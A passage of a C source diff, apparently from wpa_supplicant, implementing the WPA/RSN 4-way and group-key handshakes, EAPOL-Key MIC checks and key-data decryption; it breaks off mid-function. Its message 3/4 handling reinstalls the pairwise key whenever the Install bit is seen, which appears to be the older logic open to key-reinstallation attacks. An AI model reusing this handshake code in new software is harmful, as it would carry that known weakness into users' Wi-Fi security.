0) + return -1; +#endif /* CONFIG_IEEE80211R */ + + return 0; +} + + +/** + * wpa_supplicant_send_4_of_4 - Send message 4 of WPA/RSN 4-Way Handshake + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @dst: Destination address for the frame + * @key: Pointer to the EAPOL-Key frame header + * @ver: Version bits from EAPOL-Key Key Info + * @key_info: Key Info + * @kde: KDEs to include the EAPOL-Key frame + * @kde_len: Length of KDEs + * @ptk: PTK to use for keyed hash and encryption + * Returns: 0 on success, -1 on failure + */ +int wpa_supplicant_send_4_of_4(struct wpa_sm *sm, const unsigned char *dst, + const struct wpa_eapol_key *key, + u16 ver, u16 key_info, + const u8 *kde, size_t kde_len, + struct wpa_ptk *ptk) +{ + size_t rlen; + struct wpa_eapol_key *reply; + u8 *rbuf; + + if (kde) + wpa_hexdump(MSG_DEBUG, "WPA: KDE for msg 4/4", kde, kde_len); + + rbuf = wpa_sm_alloc_eapol(sm, IEEE802_1X_TYPE_EAPOL_KEY, NULL, + sizeof(*reply) + kde_len, + &rlen, (void *) &reply); + if (rbuf == NULL) + return -1; + + reply->type = sm->proto == WPA_PROTO_RSN ? + EAPOL_KEY_TYPE_RSN : EAPOL_KEY_TYPE_WPA; + key_info &= WPA_KEY_INFO_SECURE; + key_info |= ver | WPA_KEY_INFO_KEY_TYPE | WPA_KEY_INFO_MIC; + WPA_PUT_BE16(reply->key_info, key_info); + if (sm->proto == WPA_PROTO_RSN) + WPA_PUT_BE16(reply->key_length, 0); + else + os_memcpy(reply->key_length, key->key_length, 2); + os_memcpy(reply->replay_counter, key->replay_counter, + WPA_REPLAY_COUNTER_LEN); + + WPA_PUT_BE16(reply->key_data_length, kde_len); + if (kde) + os_memcpy(reply + 1, kde, kde_len); + + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "WPA: Sending EAPOL-Key 4/4"); + wpa_eapol_key_send(sm, ptk->kck, ver, dst, ETH_P_EAPOL, + rbuf, rlen, reply->key_mic); + + return 0; +} + + +static void wpa_supplicant_process_3_of_4(struct wpa_sm *sm, + const struct wpa_eapol_key *key, + u16 ver) +{ + u16 key_info, keylen, len; + const u8 *pos; + struct wpa_eapol_ie_parse ie; + + wpa_sm_set_state(sm, WPA_4WAY_HANDSHAKE); + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "WPA: RX message 3 of 4-Way " + "Handshake from " MACSTR " (ver=%d)", MAC2STR(sm->bssid), ver); + + key_info = WPA_GET_BE16(key->key_info); + + pos = (const u8 *) (key + 1); + len = WPA_GET_BE16(key->key_data_length); + wpa_hexdump(MSG_DEBUG, "WPA: IE KeyData", pos, len); + if (wpa_supplicant_parse_ies(pos, len, &ie) < 0) + goto failed; + if (ie.gtk && !(key_info & WPA_KEY_INFO_ENCR_KEY_DATA)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: GTK IE in unencrypted key data"); + goto failed; + } +#ifdef CONFIG_IEEE80211W + if (ie.igtk && !(key_info & WPA_KEY_INFO_ENCR_KEY_DATA)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: IGTK KDE in unencrypted key data"); + goto failed; + } + + if (ie.igtk && ie.igtk_len != sizeof(struct wpa_igtk_kde)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Invalid IGTK KDE length %lu", + (unsigned long) ie.igtk_len); + goto failed; + } +#endif /* CONFIG_IEEE80211W */ + + if (wpa_supplicant_validate_ie(sm, sm->bssid, &ie) < 0) + goto failed; + + if (os_memcmp(sm->anonce, key->key_nonce, WPA_NONCE_LEN) != 0) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: ANonce from message 1 of 4-Way Handshake " + "differs from 3 of 4-Way Handshake - drop packet (src=" + MACSTR ")", MAC2STR(sm->bssid)); + goto failed; + } + + keylen = WPA_GET_BE16(key->key_length); + if (keylen != wpa_cipher_key_len(sm->pairwise_cipher)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Invalid %s key length %d (src=" MACSTR + ")", wpa_cipher_txt(sm->pairwise_cipher), keylen, + MAC2STR(sm->bssid)); + goto failed; + } + + if (wpa_supplicant_send_4_of_4(sm, sm->bssid, key, ver, key_info, + NULL, 0, &sm->ptk)) { + goto failed; + } + + /* SNonce was successfully used in msg 3/4, so mark it to be renewed + * for the next 4-Way Handshake. If msg 3 is received again, the old + * SNonce will still be used to avoid changing PTK. */ + sm->renew_snonce = 1; + + if (key_info & WPA_KEY_INFO_INSTALL) { + if (wpa_supplicant_install_ptk(sm, key)) + goto failed; + } + + if (key_info & WPA_KEY_INFO_SECURE) { + wpa_sm_mlme_setprotection( + sm, sm->bssid, MLME_SETPROTECTION_PROTECT_TYPE_RX, + MLME_SETPROTECTION_KEY_TYPE_PAIRWISE); + eapol_sm_notify_portValid(sm->eapol, TRUE); + } + wpa_sm_set_state(sm, WPA_GROUP_HANDSHAKE); + + if (ie.gtk && + wpa_supplicant_pairwise_gtk(sm, key, + ie.gtk, ie.gtk_len, key_info) < 0) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "RSN: Failed to configure GTK"); + goto failed; + } + + if (ieee80211w_set_keys(sm, &ie) < 0) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "RSN: Failed to configure IGTK"); + goto failed; + } + + if (ie.gtk) + wpa_sm_set_rekey_offload(sm); + + return; + +failed: + wpa_sm_deauthenticate(sm, WLAN_REASON_UNSPECIFIED); +} + + +static int wpa_supplicant_process_1_of_2_rsn(struct wpa_sm *sm, + const u8 *keydata, + size_t keydatalen, + u16 key_info, + struct wpa_gtk_data *gd) +{ + int maxkeylen; + struct wpa_eapol_ie_parse ie; + + wpa_hexdump(MSG_DEBUG, "RSN: msg 1/2 key data", keydata, keydatalen); + if (wpa_supplicant_parse_ies(keydata, keydatalen, &ie) < 0) + return -1; + if (ie.gtk && !(key_info & WPA_KEY_INFO_ENCR_KEY_DATA)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: GTK IE in unencrypted key data"); + return -1; + } + if (ie.gtk == NULL) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: No GTK IE in Group Key msg 1/2"); + return -1; + } + maxkeylen = gd->gtk_len = ie.gtk_len - 2; + + if (wpa_supplicant_check_group_cipher(sm, sm->group_cipher, + gd->gtk_len, maxkeylen, + &gd->key_rsc_len, &gd->alg)) + return -1; + + wpa_hexdump(MSG_DEBUG, "RSN: received GTK in group key handshake", + ie.gtk, ie.gtk_len); + gd->keyidx = ie.gtk[0] & 0x3; + gd->tx = wpa_supplicant_gtk_tx_bit_workaround(sm, + !!(ie.gtk[0] & BIT(2))); + if (ie.gtk_len - 2 > sizeof(gd->gtk)) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "RSN: Too long GTK in GTK IE (len=%lu)", + (unsigned long) ie.gtk_len - 2); + return -1; + } + os_memcpy(gd->gtk, ie.gtk + 2, ie.gtk_len - 2); + + if (ieee80211w_set_keys(sm, &ie) < 0) + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "RSN: Failed to configure IGTK"); + + return 0; +} + + +static int wpa_supplicant_process_1_of_2_wpa(struct wpa_sm *sm, + const struct wpa_eapol_key *key, + size_t keydatalen, int key_info, + size_t extra_len, u16 ver, + struct wpa_gtk_data *gd) +{ + size_t maxkeylen; + u8 ek[32]; + + gd->gtk_len = WPA_GET_BE16(key->key_length); + maxkeylen = keydatalen; + if (keydatalen > extra_len) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: Truncated EAPOL-Key packet: " + "key_data_length=%lu > extra_len=%lu", + (unsigned long) keydatalen, (unsigned long) extra_len); + return -1; + } + if (ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { + if (maxkeylen < 8) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: Too short maxkeylen (%lu)", + (unsigned long) maxkeylen); + return -1; + } + maxkeylen -= 8; + } + + if (wpa_supplicant_check_group_cipher(sm, sm->group_cipher, + gd->gtk_len, maxkeylen, + &gd->key_rsc_len, &gd->alg)) + return -1; + + gd->keyidx = (key_info & WPA_KEY_INFO_KEY_INDEX_MASK) >> + WPA_KEY_INFO_KEY_INDEX_SHIFT; + if (ver == WPA_KEY_INFO_TYPE_HMAC_MD5_RC4) { + os_memcpy(ek, key->key_iv, 16); + os_memcpy(ek + 16, sm->ptk.kek, 16); + if (keydatalen > sizeof(gd->gtk)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: RC4 key data too long (%lu)", + (unsigned long) keydatalen); + return -1; + } + os_memcpy(gd->gtk, key + 1, keydatalen); + if (rc4_skip(ek, 32, 256, gd->gtk, keydatalen)) { + wpa_msg(sm->ctx->msg_ctx, MSG_ERROR, + "WPA: RC4 failed"); + return -1; + } + } else if (ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { + if (keydatalen % 8) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Unsupported AES-WRAP len %lu", + (unsigned long) keydatalen); + return -1; + } + if (maxkeylen > sizeof(gd->gtk)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: AES-WRAP key data " + "too long (keydatalen=%lu maxkeylen=%lu)", + (unsigned long) keydatalen, + (unsigned long) maxkeylen); + return -1; + } + if (aes_unwrap(sm->ptk.kek, maxkeylen / 8, + (const u8 *) (key + 1), gd->gtk)) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: AES unwrap failed - could not decrypt " + "GTK"); + return -1; + } + } else { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Unsupported key_info type %d", ver); + return -1; + } + gd->tx = wpa_supplicant_gtk_tx_bit_workaround( + sm, !!(key_info & WPA_KEY_INFO_TXRX)); + return 0; +} + + +static int wpa_supplicant_send_2_of_2(struct wpa_sm *sm, + const struct wpa_eapol_key *key, + int ver, u16 key_info) +{ + size_t rlen; + struct wpa_eapol_key *reply; + u8 *rbuf; + + rbuf = wpa_sm_alloc_eapol(sm, IEEE802_1X_TYPE_EAPOL_KEY, NULL, + sizeof(*reply), &rlen, (void *) &reply); + if (rbuf == NULL) + return -1; + + reply->type = sm->proto == WPA_PROTO_RSN ? + EAPOL_KEY_TYPE_RSN : EAPOL_KEY_TYPE_WPA; + key_info &= WPA_KEY_INFO_KEY_INDEX_MASK; + key_info |= ver | WPA_KEY_INFO_MIC | WPA_KEY_INFO_SECURE; + WPA_PUT_BE16(reply->key_info, key_info); + if (sm->proto == WPA_PROTO_RSN) + WPA_PUT_BE16(reply->key_length, 0); + else + os_memcpy(reply->key_length, key->key_length, 2); + os_memcpy(reply->replay_counter, key->replay_counter, + WPA_REPLAY_COUNTER_LEN); + + WPA_PUT_BE16(reply->key_data_length, 0); + + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "WPA: Sending EAPOL-Key 2/2"); + wpa_eapol_key_send(sm, sm->ptk.kck, ver, sm->bssid, ETH_P_EAPOL, + rbuf, rlen, reply->key_mic); + + return 0; +} + + +static void wpa_supplicant_process_1_of_2(struct wpa_sm *sm, + const unsigned char *src_addr, + const struct wpa_eapol_key *key, + int extra_len, u16 ver) +{ + u16 key_info, keydatalen; + int rekey, ret; + struct wpa_gtk_data gd; + + os_memset(&gd, 0, sizeof(gd)); + + rekey = wpa_sm_get_state(sm) == WPA_COMPLETED; + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, "WPA: RX message 1 of Group Key " + "Handshake from " MACSTR " (ver=%d)", MAC2STR(src_addr), ver); + + key_info = WPA_GET_BE16(key->key_info); + keydatalen = WPA_GET_BE16(key->key_data_length); + + if (sm->proto == WPA_PROTO_RSN) { + ret = wpa_supplicant_process_1_of_2_rsn(sm, + (const u8 *) (key + 1), + keydatalen, key_info, + &gd); + } else { + ret = wpa_supplicant_process_1_of_2_wpa(sm, key, keydatalen, + key_info, extra_len, + ver, &gd); + } + + wpa_sm_set_state(sm, WPA_GROUP_HANDSHAKE); + + if (ret) + goto failed; + + if (wpa_supplicant_install_gtk(sm, &gd, key->key_rsc) || + wpa_supplicant_send_2_of_2(sm, key, ver, key_info)) + goto failed; + + if (rekey) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, "WPA: Group rekeying " + "completed with " MACSTR " [GTK=%s]", + MAC2STR(sm->bssid), wpa_cipher_txt(sm->group_cipher)); + wpa_sm_cancel_auth_timeout(sm); + wpa_sm_set_state(sm, WPA_COMPLETED); + } else { + wpa_supplicant_key_neg_complete(sm, sm->bssid, + key_info & + WPA_KEY_INFO_SECURE); + } + + wpa_sm_set_rekey_offload(sm); + + return; + +failed: + wpa_sm_deauthenticate(sm, WLAN_REASON_UNSPECIFIED); +} + + +static int wpa_supplicant_verify_eapol_key_mic(struct wpa_sm *sm, + struct wpa_eapol_key *key, + u16 ver, + const u8 *buf, size_t len) +{ + u8 mic[16]; + int ok = 0; + + os_memcpy(mic, key->key_mic, 16); + if (sm->tptk_set) { + os_memset(key->key_mic, 0, 16); + wpa_eapol_key_mic(sm->tptk.kck, ver, buf, len, + key->key_mic); + if (os_memcmp(mic, key->key_mic, 16) != 0) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Invalid EAPOL-Key MIC " + "when using TPTK - ignoring TPTK"); + } else { + ok = 1; + sm->tptk_set = 0; + sm->ptk_set = 1; + os_memcpy(&sm->ptk, &sm->tptk, sizeof(sm->ptk)); + } + } + + if (!ok && sm->ptk_set) { + os_memset(key->key_mic, 0, 16); + wpa_eapol_key_mic(sm->ptk.kck, ver, buf, len, + key->key_mic); + if (os_memcmp(mic, key->key_mic, 16) != 0) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Invalid EAPOL-Key MIC - " + "dropping packet"); + return -1; + } + ok = 1; + } + + if (!ok) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Could not verify EAPOL-Key MIC - " + "dropping packet"); + return -1; + } + + os_memcpy(sm->rx_replay_counter, key->replay_counter, + WPA_REPLAY_COUNTER_LEN); + sm->rx_replay_counter_set = 1; + return 0; +} + + +/* Decrypt RSN EAPOL-Key key data (RC4 or AES-WRAP) */ +static int wpa_supplicant_decrypt_key_data(struct wpa_sm *sm, + struct wpa_eapol_key *key, u16 ver) +{ + u16 keydatalen = WPA_GET_BE16(key->key_data_length); + + wpa_hexdump(MSG_DEBUG, "RSN: encrypted key data", + (u8 *) (key + 1), keydatalen); + if (!sm->ptk_set) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: PTK not available, cannot decrypt EAPOL-Key Key " + "Data"); + return -1; + } + + /* Decrypt key data here so that this operation does not need + * to be implemented separately for each message type. */ + if (ver == WPA_KEY_INFO_TYPE_HMAC_MD5_RC4) { + u8 ek[32]; + os_memcpy(ek, key->key_iv, 16); + os_memcpy(ek + 16, sm->ptk.kek, 16); + if (rc4_skip(ek, 32, 256, (u8 *) (key + 1), keydatalen)) { + wpa_msg(sm->ctx->msg_ctx, MSG_ERROR, + "WPA: RC4 failed"); + return -1; + } + } else if (ver == WPA_KEY_INFO_TYPE_HMAC_SHA1_AES || + ver == WPA_KEY_INFO_TYPE_AES_128_CMAC) { + u8 *buf; + if (keydatalen % 8) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Unsupported AES-WRAP len %d", + keydatalen); + return -1; + } + keydatalen -= 8; /* AES-WRAP adds 8 bytes */ + buf = os_malloc(keydatalen); + if (buf == NULL) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: No memory for AES-UNWRAP buffer"); + return -1; + } + if (aes_unwrap(sm->ptk.kek, keydatalen / 8, + (u8 *) (key + 1), buf)) { + os_free(buf); + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: AES unwrap failed - " + "could not decrypt EAPOL-Key key data"); + return -1; + } + os_memcpy(key + 1, buf, keydatalen); + os_free(buf); + WPA_PUT_BE16(key->key_data_length, keydatalen); + } else { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Unsupported key_info type %d", ver); + return -1; + } + wpa_hexdump_key(MSG_DEBUG, "WPA: decrypted EAPOL-Key key data", + (u8 *) (key + 1), keydatalen); + return 0; +} + + +/** + * wpa_sm_aborted_cached - Notify WPA that PMKSA caching was aborted + * @sm: Pointer to WPA state machine data from wpa_sm_init() + */ +void wpa_sm_aborted_cached(struct wpa_sm *sm) +{ + if (sm && sm->cur_pmksa) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "RSN: Cancelling PMKSA caching attempt"); + sm->cur_pmksa = NULL; + } +} + + +static void wpa_eapol_key_dump(struct wpa_sm *sm, + const struct wpa_eapol_key *key) +{ +#ifndef CONFIG_NO_STDOUT_DEBUG + u16 key_info = WPA_GET_BE16(key->key_info); + + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, " EAPOL-Key type=%d", key->type); + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + " key_info 0x%x (ver=%d keyidx=%d rsvd=%d %s%s%s%s%s%s%s%s)", + key_info, key_info & WPA_KEY_INFO_TYPE_MASK, + (key_info & WPA_KEY_INFO_KEY_INDEX_MASK) >> + WPA_KEY_INFO_KEY_INDEX_SHIFT, + (key_info & (BIT(13) | BIT(14) | BIT(15))) >> 13, + key_info & WPA_KEY_INFO_KEY_TYPE ? "Pairwise" : "Group", + key_info & WPA_KEY_INFO_INSTALL ? " Install" : "", + key_info & WPA_KEY_INFO_ACK ? " Ack" : "", + key_info & WPA_KEY_INFO_MIC ? " MIC" : "", + key_info & WPA_KEY_INFO_SECURE ? " Secure" : "", + key_info & WPA_KEY_INFO_ERROR ? " Error" : "", + key_info & WPA_KEY_INFO_REQUEST ? " Request" : "", + key_info & WPA_KEY_INFO_ENCR_KEY_DATA ? " Encr" : ""); + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + " key_length=%u key_data_length=%u", + WPA_GET_BE16(key->key_length), + WPA_GET_BE16(key->key_data_length)); + wpa_hexdump(MSG_DEBUG, " replay_counter", + key->replay_counter, WPA_REPLAY_COUNTER_LEN); + wpa_hexdump(MSG_DEBUG, " key_nonce", key->key_nonce, WPA_NONCE_LEN); + wpa_hexdump(MSG_DEBUG, " key_iv", key->key_iv, 16); + wpa_hexdump(MSG_DEBUG, " key_rsc", key->key_rsc, 8); + wpa_hexdump(MSG_DEBUG, " key_id (reserved)", key->key_id, 8); + wpa_hexdump(MSG_DEBUG, " key_mic", key->key_mic, 16); +#endif /* CONFIG_NO_STDOUT_DEBUG */ +} + + +/** + * wpa_sm_rx_eapol - Process received WPA EAPOL frames + * @sm: Pointer to WPA state machine data from wpa_sm_init() + * @src_addr: Source MAC address of the EAPOL packet + * @buf: Pointer to the beginning of the EAPOL data (EAPOL header) + * @len: Length of the EAPOL frame + * Returns: 1 = WPA EAPOL-Key processed, 0 = not a WPA EAPOL-Key, -1 failure + * + * This function is called for each received EAPOL frame. Other than EAPOL-Key + * frames can be skipped if filtering is done elsewhere. wpa_sm_rx_eapol() is + * only processing WPA and WPA2 EAPOL-Key frames. + * + * The received EAPOL-Key packets are validated and valid packets are replied + * to. In addition, key material (PTK, GTK) is configured at the end of a + * successful key handshake. + */ +int wpa_sm_rx_eapol(struct wpa_sm *sm, const u8 *src_addr, + const u8 *buf, size_t len) +{ + size_t plen, data_len, extra_len; + struct ieee802_1x_hdr *hdr; + struct wpa_eapol_key *key; + u16 key_info, ver; + u8 *tmp; + int ret = -1; + struct wpa_peerkey *peerkey = NULL; + +#ifdef CONFIG_IEEE80211R + sm->ft_completed = 0; +#endif /* CONFIG_IEEE80211R */ + + if (len < sizeof(*hdr) + sizeof(*key)) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: EAPOL frame too short to be a WPA " + "EAPOL-Key (len %lu, expecting at least %lu)", + (unsigned long) len, + (unsigned long) sizeof(*hdr) + sizeof(*key)); + return 0; + } + + tmp = os_malloc(len); + if (tmp == NULL) + return -1; + os_memcpy(tmp, buf, len); + + hdr = (struct ieee802_1x_hdr *) tmp; + key = (struct wpa_eapol_key *) (hdr + 1); + plen = be_to_host16(hdr->length); + data_len = plen + sizeof(*hdr); + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "IEEE 802.1X RX: version=%d type=%d length=%lu", + hdr->version, hdr->type, (unsigned long) plen); + + if (hdr->version < EAPOL_VERSION) { + /* TODO: backwards compatibility */ + } + if (hdr->type != IEEE802_1X_TYPE_EAPOL_KEY) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: EAPOL frame (type %u) discarded, " + "not a Key frame", hdr->type); + ret = 0; + goto out; + } + if (plen > len - sizeof(*hdr) || plen < sizeof(*key)) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: EAPOL frame payload size %lu " + "invalid (frame size %lu)", + (unsigned long) plen, (unsigned long) len); + ret = 0; + goto out; + } + + if (key->type != EAPOL_KEY_TYPE_WPA && key->type != EAPOL_KEY_TYPE_RSN) + { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: EAPOL-Key type (%d) unknown, discarded", + key->type); + ret = 0; + goto out; + } + wpa_eapol_key_dump(sm, key); + + eapol_sm_notify_lower_layer_success(sm->eapol, 0); + wpa_hexdump(MSG_MSGDUMP, "WPA: RX EAPOL-Key", tmp, len); + if (data_len < len) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "WPA: ignoring %lu bytes after the IEEE 802.1X data", + (unsigned long) len - data_len); + } + key_info = WPA_GET_BE16(key->key_info); + ver = key_info & WPA_KEY_INFO_TYPE_MASK; + if (ver != WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 && +#if defined(CONFIG_IEEE80211R) || defined(CONFIG_IEEE80211W) + ver != WPA_KEY_INFO_TYPE_AES_128_CMAC && +#endif /* CONFIG_IEEE80211R || CONFIG_IEEE80211W */ + ver != WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: Unsupported EAPOL-Key descriptor version %d", + ver); + goto out; + } + +#ifdef CONFIG_IEEE80211R + if (wpa_key_mgmt_ft(sm->key_mgmt)) { + /* IEEE 802.11r uses a new key_info type (AES-128-CMAC). */ + if (ver != WPA_KEY_INFO_TYPE_AES_128_CMAC) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "FT: AP did not use AES-128-CMAC"); + goto out; + } + } else +#endif /* CONFIG_IEEE80211R */ +#ifdef CONFIG_IEEE80211W + if (wpa_key_mgmt_sha256(sm->key_mgmt)) { + if (ver != WPA_KEY_INFO_TYPE_AES_128_CMAC) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: AP did not use the " + "negotiated AES-128-CMAC"); + goto out; + } + } else +#endif /* CONFIG_IEEE80211W */ + if (sm->pairwise_cipher == WPA_CIPHER_CCMP && + ver != WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: CCMP is used, but EAPOL-Key " + "descriptor version (%d) is not 2", ver); + if (sm->group_cipher != WPA_CIPHER_CCMP && + !(key_info & WPA_KEY_INFO_KEY_TYPE)) { + /* Earlier versions of IEEE 802.11i did not explicitly + * require version 2 descriptor for all EAPOL-Key + * packets, so allow group keys to use version 1 if + * CCMP is not used for them. */ + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: Backwards compatibility: allow invalid " + "version for non-CCMP group keys"); + } else + goto out; + } + if (sm->pairwise_cipher == WPA_CIPHER_GCMP && + ver != WPA_KEY_INFO_TYPE_HMAC_SHA1_AES) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: GCMP is used, but EAPOL-Key " + "descriptor version (%d) is not 2", ver); + goto out; + } + +#ifdef CONFIG_PEERKEY + for (peerkey = sm->peerkey; peerkey; peerkey = peerkey->next) { + if (os_memcmp(peerkey->addr, src_addr, ETH_ALEN) == 0) + break; + } + + if (!(key_info & WPA_KEY_INFO_SMK_MESSAGE) && peerkey) { + if (!peerkey->initiator && peerkey->replay_counter_set && + os_memcmp(key->replay_counter, peerkey->replay_counter, + WPA_REPLAY_COUNTER_LEN) <= 0) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "RSN: EAPOL-Key Replay Counter did not " + "increase (STK) - dropping packet"); + goto out; + } else if (peerkey->initiator) { + u8 _tmp[WPA_REPLAY_COUNTER_LEN]; + os_memcpy(_tmp, key->replay_counter, + WPA_REPLAY_COUNTER_LEN); + inc_byte_array(_tmp, WPA_REPLAY_COUNTER_LEN); + if (os_memcmp(_tmp, peerkey->replay_counter, + WPA_REPLAY_COUNTER_LEN) != 0) { + wpa_dbg(sm->ctx->msg_ctx, MSG_DEBUG, + "RSN: EAPOL-Key Replay " + "Counter did not match (STK) - " + "dropping packet"); + goto out; + } + } + } + + if (peerkey && peerkey->initiator && (key_info & WPA_KEY_INFO_ACK)) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "RSN: Ack bit in key_info from STK peer"); + goto out; + } +#endif /* CONFIG_PEERKEY */ + + if (!peerkey && sm->rx_replay_counter_set && + os_memcmp(key->replay_counter, sm->rx_replay_counter, + WPA_REPLAY_COUNTER_LEN) <= 0) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: EAPOL-Key Replay Counter did not increase - " + "dropping packet"); + goto out; + } + + if (!(key_info & (WPA_KEY_INFO_ACK | WPA_KEY_INFO_SMK_MESSAGE)) +#ifdef CONFIG_PEERKEY + && (peerkey == NULL || !peerkey->initiator) +#endif /* CONFIG_PEERKEY */ + ) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: No Ack bit in key_info"); + goto out; + } + + if (key_info & WPA_KEY_INFO_REQUEST) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, + "WPA: EAPOL-Key with Request bit - dropped"); + goto out; + } + + if ((key_info & WPA_KEY_INFO_MIC) && !peerkey && + wpa_supplicant_verify_eapol_key_mic(sm, key, ver, tmp, data_len)) + goto out; + +#ifdef CONFIG_PEERKEY + if ((key_info & WPA_KEY_INFO_MIC) && peerkey && + peerkey_verify_eapol_key_mic(sm, peerkey, key, ver, tmp, data_len)) + goto out; +#endif /* CONFIG_PEERKEY */ + + extra_len = data_len - sizeof(*hdr) - sizeof(*key); + + if (WPA_GET_BE16(key->key_data_length) > extra_len) { + wpa_msg(sm->ctx->msg_ctx, MSG_INFO, "WPA: Invalid EAPOL-Key " + "frame - key_data overflow (%d > %lu)", + WPA_GET_BE16(key->key_data_length), + (unsigned long) extra_len); + goto out; + } + extra_len = WPA_GET_BE16(key->key_data_length); + + if (sm->proto == WPA_PROTO_RSN && + (key_info & WPA_KEY_INFO_ENCR_KEY_DATA)) { + if (wpa_supplicant_decrypt_key_data(sm, key, ver)) + goto out; + extra_len = WPA_GET_BE16(key->key_data_length); + } + + if (key_info & WPA_KEY_INFO_KEY_TYPE) { + if (key_info & WPA_KEY_INFO_KEY_INDEX_MASK) { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: Ignored EAPOL-Key (Pairwise) with " + "non-zero key index"); + goto out; + } + if (peerkey) { + /* PeerKey 4-Way Handshake */ + peerkey_rx_eapol_4way(sm, peerkey, key, key_info, ver); + } else if (key_info & WPA_KEY_INFO_MIC) { + /* 3/4 4-Way Handshake */ + wpa_supplicant_process_3_of_4(sm, key, ver); + } else { + /* 1/4 4-Way Handshake */ + wpa_supplicant_process_1_of_4(sm, src_addr, key, + ver); + } + } else if (key_info & WPA_KEY_INFO_SMK_MESSAGE) { + /* PeerKey SMK Handshake */ + peerkey_rx_eapol_smk(sm, src_addr, key, extra_len, key_info, + ver); + } else { + if (key_info & WPA_KEY_INFO_MIC) { + /* 1/2 Group Key Handshake */ + wpa_supplicant_process_1_of_2(sm, src_addr, key, + extra_len, ver); + } else { + wpa_msg(sm->ctx->msg_ctx, MSG_WARNING, + "WPA: EAPOL-Key (Group) without Mic bit - " + "dropped"); + } + } + + ret = 1; + +out: + os_free(tmp); + return ret; +} + + +#ifdef CONFIG_CTRL_IFACE +static u32 wpa_key_mgmt_suite(struct wpa_sm *sm) +{ + switch (sm->key_mgmt) { + case WPA_KEY_MGMT_IEEE8021X: + return (sm->proto == WPA_PROTO_RSN ? + RSN_AUTH_KEY_MGMT_UNSPEC_802_1X : + WPA_AUTH_KEY_MGMT_UNSPEC_802_1X); + case WPA_KEY_MGMT_PSK: + return (sm->proto == WPA_PROTO_RSN ? + RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X : + WPA_AUTH_KEY_MGMT_PSK_OVER_802_1X); +#ifdef CONFIG_IEEE80211R + case WPA_KEY_MGMT_FT_IEEE8021X: + return RSN_AUTH_KEY_MGMT_FT_802_1X; + case WPA_KEY_MGMT_FT_PSK: + return RSN_AUTH_KEY_MGMT_FT_PSK; +#endif /* CONFIG_IEEE80211R */ +#ifdef CONFIG_IEEE80211W + case WPA_KEY_MGMT_IEEE8021X_SHA256: + return RSN_AUTH_KEY_MGMT_802_1X_SHA256; + case WPA_KEY_MGMT_PSK_SHA256: + return RSN_AUTH_KEY_MGMT_PSK_SHA256; +#endif /* CONFIG_IEEE80211W */ + case WPA_KEY_MGMT_CCKM: + return (sm->proto == WPA_PROTO_RSN ? + RSN_AUTH_KEY_MGMT_CCKM: + WPA_AUTH_KEY_MGMT_CCKM); + case 